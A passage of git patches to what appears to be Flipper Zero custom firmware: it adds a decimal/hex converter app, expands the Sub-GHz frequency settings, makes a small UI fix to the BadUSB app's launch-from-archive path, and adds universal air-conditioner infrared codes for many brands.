dec_hex_converter_logic_move_cursor_ud(dec_hex_converter_state); + break; + case InputKeyRight: + dec_hex_converter_logic_move_cursor_lr(dec_hex_converter_state, 1); + break; + case InputKeyLeft: + dec_hex_converter_logic_move_cursor_lr(dec_hex_converter_state, -1); + break; + case InputKeyOk: + if(dec_hex_converter_state->cursor < DEC_HEX_CONVERTER_KEY_DEL) { + // positions from 0 to 15 works as regular numbers (DEC / HEX where applicable) + // (logic won't allow add numbers > 9 on ModeDec) + dec_hex_converter_logic_add_number( + dec_hex_converter_state, dec_hex_converter_state->cursor); + } else if(dec_hex_converter_state->cursor == DEC_HEX_CONVERTER_KEY_DEL) { + // del + dec_hex_converter_logic_del_number(dec_hex_converter_state); + } else { + // swap + dec_hex_converter_logic_swap_mode(dec_hex_converter_state); + } + + dec_hex_converter_logic_convert_number(dec_hex_converter_state); + break; + case InputKeyBack: + processing = false; + break; + } + } + } + } else { + // event timeout + } + + view_port_update(view_port); + release_mutex(&state_mutex, dec_hex_converter_state); + } + + view_port_enabled_set(view_port, false); + gui_remove_view_port(gui, view_port); + furi_record_close("gui"); + view_port_free(view_port); + furi_message_queue_free(event_queue); + delete_mutex(&state_mutex); + free(dec_hex_converter_state); + + return 0; +} \ No newline at end of file diff --git a/applications/meta/application.fam b/applications/meta/application.fam index dfbafbf3c..fd8b64131 100644 --- a/applications/meta/application.fam +++ b/applications/meta/application.fam @@ -77,5 +77,6 @@ App( "esp8266_deauth", "wifi_scanner", "wav_player", + "dec_hex_converter", ], ) \ No newline at end of file diff --git a/assets/resources/Manifest b/assets/resources/Manifest index ce695f14d..24f05ca1b 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1659926106 +T:1659948399 D:badusb D:dolphin D:infrared @@ -255,7 +255,7 @@ F:27d732a3362969ac187c8f5ff0afc22a:286:subghz/assets/dangerous_settings F:111d2b8df83e27fd889fc5e270297865:3231:subghz/assets/keeloq_mfcodes F:9214f9c10463b746a27e82ce0b96e040:465:subghz/assets/keeloq_mfcodes_user F:653bd8d349055a41e1152e557d4a52d3:202:subghz/assets/nice_flor_s -F:b6ecaec5fcf45411622d4309c5769009:1590:subghz/assets/setting_user +F:470919d764538023a7f73ebae2853797:2106:subghz/assets/setting_user D:u2f/assets F:7e11e688e39034bbb9d88410044795e1:365:u2f/assets/cert.der F:f60b88c20ed479ed9684e249f7134618:264:u2f/assets/cert_key.u2f diff --git a/assets/resources/subghz/assets/setting_user b/assets/resources/subghz/assets/setting_user index 222b7691b..6d0102d6c 100644 --- a/assets/resources/subghz/assets/setting_user +++ b/assets/resources/subghz/assets/setting_user @@ -2,35 +2,58 @@ Filetype: Flipper SubGhz Setting File Version: 1 # Add All Standard frequencies -#Add_standard_frequencies: true +Add_standard_frequencies: false # Default Frequency: used as default for "Read" and "Read Raw" -#Default_frequency: 433920000 +Default_frequency: 433920000 # Frequencies used for "Read", "Read Raw" and "Frequency Analyzer" - they added after default ones if enabled in Add_standard_frequencies +Frequency: 300000000 Frequency: 302757000 +Frequency: 303875000 +Frequency: 304250000 Frequency: 307000000 Frequency: 307500000 Frequency: 307800000 Frequency: 309000000 +Frequency: 310000000 Frequency: 312000000 Frequency: 312100000 Frequency: 313850000 Frequency: 314000000 Frequency: 314350000 +Frequency: 315000000 +Frequency: 318000000 Frequency: 345000000 Frequency: 348000000 Frequency: 387000000 +Frequency: 390000000 +Frequency: 418000000 +Frequency: 433075000 Frequency: 433220000 +Frequency: 433420000 Frequency: 433889000 +Frequency: 433920000 +Frequency: 434420000 +Frequency: 434775000 +Frequency: 438900000 Frequency: 464000000 Frequency: 779000000 +Frequency: 868350000 +Frequency: 906400000 +Frequency: 915000000 +Frequency: 925000000 Frequency: 928000000 # Frequencies used for hopping mode (keep this list small or flipper will miss signal) - they added after default ones if enabled in Add_standard_frequencies -#Hopper_frequency: 300000000 +Hopper_frequency: 310000000 +Hopper_frequency: 315000000 +Hopper_frequency: 318000000 Hopper_frequency: 345000000 +Hopper_frequency: 390000000 +Hopper_frequency: 433920000 Hopper_frequency: 434420000 +Hopper_frequency: 868350000 # Custom preset # format for CC1101 "Custom_preset_data:" XX YY XX YY .. 00 00 ZZ ZZ ZZ ZZ ZZ ZZ ZZ ZZ, where: XX-register, YY - register data, 00 00 - end load register, ZZ - 8 byte Pa table register From 663ad953cb7f78e950c99d117f11990c47de0db4 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 8 Aug 2022 13:58:32 +0300 Subject: [PATCH 460/461] fix badusb from archive app execution thats very dirty fix, needs to be re-done in a proper way --- applications/bad_usb/bad_usb_app.c | 2 +- applications/bad_usb/bad_usb_script.c | 4 ++ applications/bad_usb/bad_usb_script.h | 3 + .../bad_usb/scenes/bad_usb_scene_config.h | 1 + .../bad_usb/scenes/bad_usb_scene_pwork.c | 56 +++++++++++++++++++ .../bad_usb/scenes/bad_usb_scene_work.c | 3 + applications/bad_usb/views/bad_usb_view.c | 5 +- 7 files changed, 71 insertions(+), 3 deletions(-) create mode 100644 applications/bad_usb/scenes/bad_usb_scene_pwork.c diff --git a/applications/bad_usb/bad_usb_app.c b/applications/bad_usb/bad_usb_app.c index 9891c49b9..107371e4e 100644 --- a/applications/bad_usb/bad_usb_app.c +++ b/applications/bad_usb/bad_usb_app.c @@ -102,7 +102,7 @@ BadUsbApp* bad_usb_app_alloc(char* arg) { scene_manager_next_scene(app->scene_manager, BadUsbSceneError); } else { if(!string_empty_p(app->file_path)) { - scene_manager_next_scene(app->scene_manager, BadUsbSceneWork); + scene_manager_next_scene(app->scene_manager, BadUsbScenePWork); } else { string_set_str(app->file_path, BAD_USB_APP_BASE_FOLDER); scene_manager_next_scene(app->scene_manager, BadUsbSceneFileSelect); diff --git a/applications/bad_usb/bad_usb_script.c b/applications/bad_usb/bad_usb_script.c index c0504bf8e..f50c86284 100644 --- a/applications/bad_usb/bad_usb_script.c +++ b/applications/bad_usb/bad_usb_script.c @@ -661,4 +661,8 @@ void bad_usb_script_toggle(BadUsbScript* bad_usb) { BadUsbState* bad_usb_script_get_state(BadUsbScript* bad_usb) { furi_assert(bad_usb); return &(bad_usb->st); +} + +void bad_usb_script_set_run_state(BadUsbState* st, bool run) { + st->run_from_p = run; } \ No newline at end of file diff --git a/applications/bad_usb/bad_usb_script.h b/applications/bad_usb/bad_usb_script.h index 71066cb13..4cf661ddd 100644 --- a/applications/bad_usb/bad_usb_script.h +++ b/applications/bad_usb/bad_usb_script.h @@ -22,6 +22,7 @@ typedef enum { typedef struct { BadUsbWorkerState state; + bool run_from_p; uint16_t line_cur; uint16_t line_nb; uint32_t delay_remain; @@ -42,6 +43,8 @@ void bad_usb_script_toggle(BadUsbScript* bad_usb); BadUsbState* bad_usb_script_get_state(BadUsbScript* bad_usb); +void bad_usb_script_set_run_state(BadUsbState* st, bool run); + #ifdef __cplusplus } #endif \ No newline at end of file diff --git a/applications/bad_usb/scenes/bad_usb_scene_config.h b/applications/bad_usb/scenes/bad_usb_scene_config.h index 423aedc51..e19b185ee 100644 --- a/applications/bad_usb/scenes/bad_usb_scene_config.h +++ b/applications/bad_usb/scenes/bad_usb_scene_config.h @@ -1,5 +1,6 @@ ADD_SCENE(bad_usb, file_select, FileSelect) ADD_SCENE(bad_usb, work, Work) +ADD_SCENE(bad_usb, pwork, PWork) ADD_SCENE(bad_usb, error, Error) ADD_SCENE(bad_usb, config, Config) ADD_SCENE(bad_usb, config_layout, ConfigLayout) diff --git a/applications/bad_usb/scenes/bad_usb_scene_pwork.c b/applications/bad_usb/scenes/bad_usb_scene_pwork.c new file mode 100644 index 000000000..8ac1a6ee8 --- /dev/null +++ b/applications/bad_usb/scenes/bad_usb_scene_pwork.c @@ -0,0 +1,56 @@ +#include "../bad_usb_script.h" +#include "../bad_usb_app_i.h" +#include "../views/bad_usb_view.h" +#include "furi_hal.h" +#include "m-string.h" +#include "toolbox/path.h" + +void bad_usb_scene_pwork_button_callback(InputKey key, void* context) { + furi_assert(context); + BadUsbApp* app = context; + view_dispatcher_send_custom_event(app->view_dispatcher, key); +} + +bool bad_usb_scene_pwork_on_event(void* context, SceneManagerEvent event) { + BadUsbApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == InputKeyOk) { + bad_usb_script_toggle(app->bad_usb_script); + consumed = true; + } + } else if(event.type == SceneManagerEventTypeTick) { + bad_usb_set_state(app->bad_usb_view, bad_usb_script_get_state(app->bad_usb_script)); + } + return consumed; +} + +void bad_usb_scene_pwork_on_enter(void* context) { + BadUsbApp* app = context; + + string_t file_name; + string_init(file_name); + + path_extract_filename(app->file_path, file_name, true); + bad_usb_set_file_name(app->bad_usb_view, string_get_cstr(file_name)); + app->bad_usb_script = bad_usb_script_open(app->file_path); + + bad_usb_script_set_keyboard_layout(app->bad_usb_script, app->keyboard_layout); + + string_clear(file_name); + + bad_usb_set_state(app->bad_usb_view, bad_usb_script_get_state(app->bad_usb_script)); + + // set app state - is executed from archive app + bad_usb_script_set_run_state(bad_usb_script_get_state(app->bad_usb_script), true); + + bad_usb_set_button_callback(app->bad_usb_view, bad_usb_scene_pwork_button_callback, app); + view_dispatcher_switch_to_view(app->view_dispatcher, BadUsbAppViewWork); +} + +void bad_usb_scene_pwork_on_exit(void* context) { + UNUSED(context); + //BadUsbApp* app = context; + //bad_usb_script_close(app->bad_usb_script); +} \ No newline at end of file diff --git a/applications/bad_usb/scenes/bad_usb_scene_work.c b/applications/bad_usb/scenes/bad_usb_scene_work.c index ee081e237..7f4cb88a9 100644 --- a/applications/bad_usb/scenes/bad_usb_scene_work.c +++ b/applications/bad_usb/scenes/bad_usb_scene_work.c @@ -40,6 +40,9 @@ void bad_usb_scene_work_on_enter(void* context) { bad_usb_set_state(app->bad_usb_view, bad_usb_script_get_state(app->bad_usb_script)); + // set app state - is executed from archive app + bad_usb_script_set_run_state(bad_usb_script_get_state(app->bad_usb_script), false); + bad_usb_set_button_callback(app->bad_usb_view, bad_usb_scene_work_button_callback, app); view_dispatcher_switch_to_view(app->view_dispatcher, BadUsbAppViewWork); } diff --git a/applications/bad_usb/views/bad_usb_view.c b/applications/bad_usb/views/bad_usb_view.c index 238f14262..b7baf8b0e 100644 --- a/applications/bad_usb/views/bad_usb_view.c +++ b/applications/bad_usb/views/bad_usb_view.c @@ -34,8 +34,9 @@ static void bad_usb_draw_callback(Canvas* canvas, void* _model) { elements_button_center(canvas, "Stop"); } - if((model->state.state == BadUsbStateNotConnected) || - (model->state.state == BadUsbStateIdle) || (model->state.state == BadUsbStateDone)) { + if(((model->state.state == BadUsbStateNotConnected) || + (model->state.state == BadUsbStateIdle) || (model->state.state == BadUsbStateDone)) && + !model->state.run_from_p) { elements_button_left(canvas, "Config"); } From 7763295249a5ffd2484c66afe16703ce34c4f84a Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 8 Aug 2022 15:52:01 +0300 Subject: [PATCH 461/461] resolve conflicts before merging PR #45 --- assets/resources/infrared/assets/ac.ir | 651 ++++++++++++++++++++++++- 1 file changed, 643 insertions(+), 8 deletions(-) diff --git a/assets/resources/infrared/assets/ac.ir b/assets/resources/infrared/assets/ac.ir index 027e26a04..fac334748 100644 --- a/assets/resources/infrared/assets/ac.ir +++ b/assets/resources/infrared/assets/ac.ir @@ -2,13 +2,9 @@ Filetype: IR signals file Version: 1 # # Universal AC IR codes - Brute force by JEREMYNO for Flipper -# Only POWER - BETA version +# BETA version # -name: POWER -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 6239 515 2191 4487 590 562 536 589 540 559 560 1665 563 563 566 560 538 587 532 567 562 1663 565 561 558 567 542 1658 590 561 537 1662 586 1665 563 1663 565 586 533 566 563 1663 565 1661 618 507 561 565 564 561 538 588 541 1658 560 592 537 563 566 559 540 586 533 567 562 563 535 590 539 561 558 568 541 1657 591 1662 566 1659 559 1667 591 1660 558 1668 560 591 538 561 568 558 540 585 534 565 564 562 536 1688 560 1665 563 1663 565 1661 587 1664 564 1661 567 584 535 565 564 561 538 588 541 559 560 565 534 592 537 562 567 559 539 1685 563 563 536 1663 585 1667 561 537 592 1660 568 558 561 +# Admiral AC # name: POWER type: parsed @@ -16,11 +12,79 @@ protocol: NEC address: 20 00 00 00 command: 02 00 00 00 # +name: Mode +type: parsed +protocol: NEC +address: 20 00 00 00 +command: 09 00 00 00 +# +name: TEMP+ +type: parsed +protocol: NEC +address: 20 00 00 00 +command: 0A 00 00 00 +# +name: TEMP- +type: parsed +protocol: NEC +address: 20 00 00 00 +command: 11 00 00 00 +# +# +# Airmet AC by JEREMYNO +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 6239 515 2191 4487 590 562 536 589 540 559 560 1665 563 563 566 560 538 587 532 567 562 1663 565 561 558 567 542 1658 590 561 537 1662 586 1665 563 1663 565 586 533 566 563 1663 565 1661 618 507 561 565 564 561 538 588 541 1658 560 592 537 563 566 559 540 586 533 567 562 563 535 590 539 561 558 568 541 1657 591 1662 566 1659 559 1667 591 1660 558 1668 560 591 538 561 568 558 540 585 534 565 564 562 536 1688 560 1665 563 1663 565 1661 587 1664 564 1661 567 584 535 565 564 561 538 588 541 559 560 565 534 592 537 562 567 559 539 1685 563 563 536 1663 585 1667 561 537 592 1660 568 558 561 +# +name: TEMP+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8916 4491 586 1666 562 589 540 559 560 1692 536 563 566 560 538 587 532 567 562 1663 565 561 558 567 542 1684 564 1661 567 1658 560 592 537 562 567 559 540 1659 589 1663 565 1660 558 593 536 564 565 560 538 587 532 1667 561 591 538 561 568 558 540 585 534 565 564 562 536 589 540 559 560 566 533 1666 593 1659 559 1667 561 1664 584 1667 561 1664 564 588 541 558 561 565 534 591 538 562 567 558 540 1685 564 1662 566 1659 559 1667 592 1659 559 1667 561 590 539 560 559 567 542 584 535 564 565 561 538 588 541 558 561 564 535 1664 595 558 540 1659 589 1662 566 559 560 1666 562 562 567 +# +name: TEMP- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8913 4494 593 1658 560 566 563 562 536 1689 559 566 533 593 536 563 566 560 539 587 532 567 562 563 536 1663 585 1667 561 564 565 561 538 1661 587 538 561 1665 594 1658 560 1666 562 589 540 559 560 566 533 593 536 1663 565 560 559 541 588 564 535 591 538 561 568 558 541 585 534 565 564 561 538 1661 587 1665 563 1663 565 1660 588 1663 565 1660 558 594 535 564 565 560 539 587 542 557 562 564 535 1664 595 1658 560 1665 563 1662 586 1666 562 1663 565 586 533 566 563 563 536 590 539 560 559 567 532 594 535 564 565 560 539 1687 562 564 535 1665 594 1658 560 565 564 1662 566 559 560 +# +name: MODE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8943 4491 586 565 534 1692 567 559 539 1660 588 1663 565 561 568 557 542 584 535 1664 564 588 541 558 561 1664 564 562 567 559 540 1659 589 563 535 1664 584 1667 561 1664 564 1661 587 564 535 591 538 562 567 558 540 1659 589 562 537 589 540 560 559 566 533 593 536 564 565 560 538 587 532 567 562 1663 565 1661 567 1658 590 1662 566 1659 559 1666 593 559 540 586 533 567 562 563 536 590 539 560 559 1692 536 1664 564 1661 587 1664 564 1662 566 1659 589 562 536 589 540 560 559 566 533 593 536 564 565 560 538 587 532 567 562 1663 565 561 568 1657 561 1665 563 588 541 1658 560 592 537 +# +# Amcor AC +# name: POWER type: parsed protocol: NEC address: 80 00 00 00 command: 9C 00 00 00 +# +name: MODE +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 9D 00 00 00 +# +name: TEMP+ +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 94 00 00 00 +# +name: TEMP- +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 95 00 00 00 +# +# Ariston AC A-MW09-IGX +# On and Off buttons set to 26 C° cool # name: POWER type: raw @@ -28,143 +92,616 @@ frequency: 38000 duty_cycle: 0.330000 data: 4482 4413 596 1596 594 527 562 1602 588 1603 587 535 565 530 570 1595 595 526 563 532 568 1597 593 528 561 534 566 1599 591 1599 591 531 569 1596 594 1597 593 528 561 1603 587 1604 596 1595 595 1596 594 1597 593 1598 592 529 560 1604 596 525 564 531 569 526 563 532 568 527 562 533 567 1598 592 1599 591 530 570 1595 595 526 563 532 568 527 562 506 594 528 561 507 593 1598 592 529 571 1595 595 1596 594 1597 593 1598 592 5251 4505 4417 592 1599 591 530 570 1595 595 1596 594 527 562 533 567 1598 592 529 561 535 565 1600 590 531 569 526 563 1602 588 1603 587 534 566 1599 591 1600 590 531 569 1596 594 1597 593 1598 592 1599 591 1600 590 1601 589 532 568 1597 593 529 561 534 566 503 597 499 590 504 596 500 589 1601 589 1602 588 533 567 1599 591 530 570 499 591 504 596 526 563 505 595 501 589 1602 588 533 567 1598 592 1599 591 1600 590 1601 589 # +# Bonaire DurangoAC +# name: POWER type: raw frequency: 38000 duty_cycle: 0.330000 data: 1305 435 1280 432 415 1255 1307 432 1272 439 418 1252 442 1255 1307 431 416 1255 439 1258 447 1251 443 8174 1302 437 1278 433 414 1255 1307 432 1273 438 419 1250 444 1254 1298 440 417 1253 441 1256 438 1259 445 8170 1306 433 1271 439 418 1251 1301 438 1277 434 413 1256 449 1249 1303 435 412 1258 446 1251 443 1254 440 8176 1300 438 1277 434 413 1283 1279 433 1271 440 417 1278 416 1255 1307 431 416 1253 441 1257 447 1250 444 8171 1305 433 1272 439 418 1278 1274 438 1277 433 414 1282 412 1259 1303 434 413 1256 448 1249 445 1252 442 8173 1303 435 1270 440 417 1279 1273 438 1277 433 414 1282 412 1258 1304 433 414 1282 412 1258 446 1250 444 8171 1305 433 1272 438 419 1276 1276 435 1270 441 416 1252 442 1255 1297 440 417 1279 415 1255 439 1257 447 8168 1297 439 1276 434 413 1256 1306 431 1273 436 411 1258 446 1250 1302 409 438 1284 421 1249 445 1252 442 # +# Boulanger AC +# name: POWER type: parsed protocol: NEC address: 81 00 00 00 command: 6B 00 00 00 # +name: TEMP+ +type: parsed +protocol: NEC +address: 81 00 00 00 +command: 65 00 00 00 +# +name: TEMP- +type: parsed +protocol: NEC +address: 81 00 00 00 +command: 68 00 00 00 +# +name: MODE +type: parsed +protocol: NEC +address: 81 00 00 00 +command: 66 00 00 00 +# +# Ciatronic AC +# +name: TEMP- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9013 4502 575 560 574 562 572 1671 565 569 565 570 543 592 542 540 594 567 546 1697 571 1672 575 560 574 1695 541 1702 545 1671 597 1673 574 563 1670 1703 575 560 542 592 542 540 593 568 545 590 544 564 569 565 548 587 547 1670 566 1702 566 1677 570 1674 573 1670 598 1698 538 1704 543 39972 9017 2251 568 96272 9021 2249 570 96268 9013 2256 574 96264 9015 2254 56 +# +# Corlitec Portable AC +# 'Corlitec' is rebadge, the same unit is sold under a dozen brand names +# name: POWER type: parsed protocol: NECext address: 10 E7 00 00 command: 00 FF 00 00 # +name: TEMP+ +type: parsed +protocol: NECext +address: 10 E7 00 00 +command: 15 EA 00 00 +# +name: TEMP- +type: parsed +protocol: NECext +address: 10 E7 00 00 +command: 0D F2 00 00 +# +# Daikin TB industrial AC +# name: POWER type: raw frequency: 38000 duty_cycle: 0.330000 data: 5050 2165 361 1803 367 716 363 718 361 721 358 1806 364 718 362 720 359 723 367 715 364 1800 359 722 368 1797 362 1802 368 714 365 1799 360 1803 367 1798 361 1803 367 1797 362 720 359 1805 365 717 363 719 360 722 368 714 365 717 362 719 360 1804 366 1798 361 721 358 723 367 715 364 718 361 720 359 1805 365 717 362 720 359 722 368 714 365 717 362 719 361 722 368 714 365 716 363 719 360 721 358 724 366 716 363 718 361 1803 367 1797 362 1802 368 1797 362 719 360 722 368 714 365 29579 5061 2156 360 1804 366 717 362 719 360 722 357 1806 364 719 360 721 358 724 366 716 363 1801 358 723 367 1798 361 1802 368 715 364 1800 359 1804 366 1799 360 1804 366 1798 361 721 359 1806 364 718 362 721 359 723 367 715 364 718 362 720 359 1805 365 1799 360 722 368 714 365 717 362 719 361 721 358 724 366 716 363 719 361 721 358 724 366 716 363 1801 358 1806 364 718 361 721 358 1805 365 1800 359 1805 365 717 362 720 359 722 368 714 365 717 362 719 360 722 368 714 365 717 362 1802 368 714 365 717 362 719 361 722 368 1796 363 719 360 721 358 724 366 716 363 719 360 721 358 724 366 716 363 718 362 721 359 723 367 715 364 718 361 720 360 723 367 715 364 718 362 720 359 722 368 715 364 1799 360 1805 365 1799 360 722 368 714 365 716 363 1801 358 724 366 1799 360 721 358 1806 364 718 361 721 358 723 367 716 363 718 362 721 359 723 367 715 364 718 362 720 359 723 367 715 364 718 362 720 359 723 367 715 364 1800 359 722 368 714 365 1799 360 1804 366 1799 360 1804 366 1799 360 1804 366 1798 361 1803 367 # +# Daikin TB industrial AC +# +name: POWER +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 9C 00 00 00 +# +# Daikin AC +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9823 9795 9821 9799 4615 2493 385 343 389 924 386 931 389 348 384 929 381 355 387 345 387 357 386 343 379 934 386 350 382 350 382 354 388 929 381 355 387 357 386 343 379 357 386 350 382 928 382 931 379 938 382 355 388 356 387 919 381 355 387 349 383 927 383 930 380 356 386 346 386 358 384 344 388 348 384 352 380 352 380 933 387 348 384 351 381 363 379 349 383 353 379 357 386 347 385 927 383 354 388 344 388 356 386 919 381 355 388 349 383 350 382 353 379 938 382 354 389 356 386 919 381 355 387 930 380 934 386 349 383 934 386 350 382 358 385 20350 4620 +# +# +# DeLonghi Pinguino Air-to-Air PAC N81 by JEREMYNO +# +name: POWER +type: parsed +protocol: NECext +address: 48 12 00 00 +command: 88 08 00 00 +# +name: TEMP+ +type: parsed +protocol: NECext +address: 48 12 00 00 +command: 88 09 00 00 +# +name: TEMP- +type: parsed +protocol: NECext +address: 48 12 00 00 +command: 88 08 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 48 44 00 00 +command: 88 08 00 00 +# +# Eurom/Tristar Portable AC +# name: POWER type: parsed protocol: NEC address: 80 00 00 00 command: 9C 00 00 00 # +name: TEMP+ +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 94 00 00 00 +# +name: TEMP- +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 95 00 00 00 +# +name: Mode +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 9D 00 00 00 +# +# Friedrich AC +# name: POWER type: raw frequency: 38000 duty_cycle: 0.330000 data: 5618 5586 563 557 564 554 567 553 568 552 569 550 571 548 563 1675 568 1674 569 549 562 556 565 1674 569 1670 563 1679 564 1676 567 552 569 555 566 1669 564 554 567 1672 571 1668 565 556 565 554 567 1672 571 551 570 1665 568 1672 571 1668 565 1673 570 550 571 547 564 1675 568 557 564 1671 562 555 566 1672 571 576 535 557 564 1675 568 552 569 580 541 548 563 555 566 553 568 551 570 1668 565 1675 568 1671 562 1681 562 1673 570 550 561 1677 566 1701 542 551 570 1668 565 555 566 1674 569 # +name: TEMP+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 5617 5586 563 558 563 555 566 554 567 551 570 550 571 574 537 1676 567 1676 567 1667 566 555 566 1673 570 1668 565 1675 568 1671 562 558 563 586 535 1673 570 550 571 1667 566 1673 570 575 536 558 563 1675 568 556 565 1668 565 1676 567 1672 571 1667 566 553 568 553 568 1670 563 562 570 1664 569 552 569 1669 564 557 564 555 566 1672 571 549 562 560 561 554 567 1673 570 1669 564 555 566 1672 561 559 562 556 565 1678 565 552 569 549 562 1704 539 581 540 1672 571 547 564 1676 567 553 568 +# +name: TEMP- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 5626 5579 569 549 562 582 539 581 540 578 543 577 544 575 536 1702 541 1703 540 549 562 557 564 1700 543 1670 563 1677 566 1698 545 547 564 586 535 1674 569 550 571 1668 565 1674 569 578 543 550 571 1670 563 587 545 1665 568 1671 562 1677 566 1700 543 577 544 548 563 1704 539 557 564 1698 545 574 537 1677 566 552 569 577 544 1668 565 554 567 583 538 1670 563 1702 541 1671 572 547 564 583 538 553 568 552 569 1700 543 545 566 582 539 1698 535 558 563 557 564 554 567 1671 562 585 536 +# +# Frigidaire_AC +# name: POWER type: parsed protocol: NECext address: 01 FF 00 00 command: 12 ED 00 00 # +name: TEMP+ +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 1A E5 00 00 +# +name: TEMP- +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 13 EC 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 02 FD 00 00 +# +# Fujitsu AC +# name: POWER type: raw frequency: 38000 duty_cycle: 0.330000 data: 3302 1644 408 419 410 416 413 1233 405 423 406 1239 409 419 410 417 412 415 414 1232 406 1241 407 419 410 417 412 416 413 1233 405 1241 407 394 435 419 410 417 412 416 413 387 432 422 407 420 409 418 411 416 413 415 404 423 406 421 408 420 409 1237 411 416 413 413 406 422 407 420 409 418 411 417 412 415 414 1232 406 421 408 420 409 418 411 416 413 1232 406 1240 408 1238 410 1236 412 1234 414 1232 406 1240 408 1238 410 417 412 416 413 1233 405 422 407 421 408 419 410 417 412 414 404 397 432 421 408 420 409 1237 411 1234 414 387 432 422 407 1239 409 418 411 416 413 414 405 423 406 1240 408 1237 411 417 412 415 414 414 405 422 407 421 408 418 411 416 413 414 405 423 406 421 408 419 410 417 412 416 413 414 405 422 407 421 408 419 410 416 413 414 405 423 406 421 408 419 410 417 412 416 413 414 404 423 406 421 408 419 410 417 412 414 405 423 406 421 408 419 410 417 412 416 413 414 404 423 406 421 408 419 410 417 412 416 413 413 406 422 407 420 409 418 411 416 413 1233 405 422 407 421 408 1237 411 1235 413 1206 432 1240 408 420 409 418 411 1235 413 415 414 # +# GE Air Conditioner +# name: POWER type: raw frequency: 38000 duty_cycle: 0.330000 data: 8523 4238 543 1597 536 1578 544 1595 538 571 511 1576 546 563 519 1594 518 1596 537 4245 515 1598 545 1594 539 544 517 1596 547 563 488 568 514 570 512 571 593 19276 8526 4262 540 1600 512 1601 542 1598 535 548 513 1600 543 567 514 1598 514 1601 542 4214 546 1594 539 1575 537 572 520 1619 514 543 518 565 516 567 515 542 622 19299 8524 4239 542 1598 545 1595 517 1598 545 564 518 1596 516 567 515 1625 518 1570 542 4239 542 1572 540 1600 543 565 485 1602 541 568 513 544 517 566 516 568 596 # +name: TEMP- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8523 4266 545 1595 537 1576 546 1593 539 544 517 1596 547 536 545 1568 544 1595 537 4217 542 1597 546 537 513 543 538 1601 542 541 520 536 545 538 543 539 625 19293 8525 4234 546 1594 548 1591 520 1593 539 543 538 1575 547 535 546 1594 538 1574 548 4234 515 1599 544 539 542 540 521 1592 540 542 539 543 518 539 542 540 624 19297 8521 4241 539 1601 542 1572 540 1600 543 540 541 1572 540 544 548 1592 520 1593 539 4243 516 1597 545 538 543 512 549 1591 541 541 540 516 545 538 543 539 625 +# +name: TEMP+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8521 4271 540 1600 512 1602 540 1599 512 570 511 1603 539 569 492 1596 546 1593 539 4217 542 566 515 568 493 564 517 1622 510 546 515 569 512 571 510 546 618 19303 8523 4238 542 1598 544 1569 542 1597 545 563 508 1579 543 566 515 1598 514 1600 542 4240 519 563 518 564 517 566 484 1602 540 568 513 543 518 566 515 567 597 19272 8523 4264 547 1593 539 1574 538 1603 540 569 492 1596 546 562 519 1569 542 1597 545 4211 538 571 521 562 509 547 514 1600 542 566 515 541 520 563 518 564 600 +# +name: MODE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8523 4266 544 1595 516 1597 545 1594 538 544 516 1597 545 564 486 1601 541 1599 543 4213 545 1594 538 1576 545 563 518 565 516 540 521 563 518 565 516 540 624 19269 8522 4265 545 1595 537 1576 546 1594 538 571 489 1623 519 564 517 1595 516 1597 545 4209 539 1600 542 1597 514 568 513 569 512 571 490 567 514 568 513 570 594 19272 8519 4266 544 1595 516 1597 545 1593 539 543 518 1621 521 562 488 1598 544 1595 537 4217 541 1598 544 1569 542 566 515 568 513 543 518 565 516 567 514 542 622 +# +# GE Window AC +# name: POWER type: parsed protocol: NECext address: 98 6F 00 00 command: 19 E6 00 00 # +name: TEMP+ +type: parsed +protocol: NECext +address: 98 6F 00 00 +command: 05 FA 00 00 +# +name: TEMP- +type: parsed +protocol: NECext +address: 98 6F 00 00 +command: 09 F6 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 98 6F 00 00 +command: 08 F7 00 00 +# +# +# Haier HPD10XCM-LW 10,000-BTU Room Portable Air Conditioner +# name: POWER type: parsed protocol: NEC address: 20 00 00 00 command: 02 00 00 00 # +name: TEMP+ +type: parsed +protocol: NEC +address: 20 00 00 00 +command: 0A 00 00 00 +# +name: TEMP- +type: parsed +protocol: NEC +address: 20 00 00 00 +command: 11 00 00 00 +# +name: MODE +type: parsed +protocol: NEC +address: 20 00 00 00 +command: 09 00 00 00 +# +# Hisense Window AC +# name: POWER type: raw frequency: 38000 duty_cycle: 0.330000 data: 8963 4401 561 543 558 545 566 537 564 540 561 542 559 1652 561 1650 563 540 561 543 558 545 567 537 564 1647 566 1645 558 1654 559 544 567 536 565 1646 567 1644 559 545 567 537 564 1647 566 537 564 540 561 542 559 545 567 537 564 539 562 541 560 544 567 536 565 538 563 541 560 543 558 545 567 538 563 540 561 542 559 545 567 537 564 539 562 542 559 544 568 536 565 539 562 541 560 543 569 536 565 538 563 541 560 543 558 545 566 538 563 540 561 542 559 545 566 537 564 539 562 542 559 544 567 536 565 539 562 541 560 544 568 536 565 538 